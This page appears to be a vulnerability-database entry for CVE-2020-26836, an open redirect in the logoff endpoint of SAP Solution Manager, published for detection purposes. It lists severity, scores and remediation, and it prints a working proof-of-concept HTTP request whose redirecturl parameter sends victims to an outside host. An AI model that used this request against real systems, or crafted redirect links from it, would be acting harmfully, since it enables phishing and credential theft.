🔙 목록으로 돌아가기

CVE-2020-26836: SAP Solution Manager - Open Redirect

TitleSAP Solution Manager - Open Redirect
AuthorGal Nagli,LRVT
SeverityMedium
ImpactAttackers can redirect users to malicious websites through crafted links, potentially facilitating phishing attacks or credential theft.
RemediationApply security patches or updates provided by SAP to fix the vulnerability.
CVSS Score6.1
EPSS Score0.05012
CVE IDCVE-2020-26836
CWE IDCWE-601
Tags cve cve2020 redirect sap vuln

🔍 Vulnerability Description

SAP Solution Manager contains an open redirect vulnerability via the logoff endpoint. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /sap/public/bc/icf/logoff?redirecturl=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-26836.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-26836.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A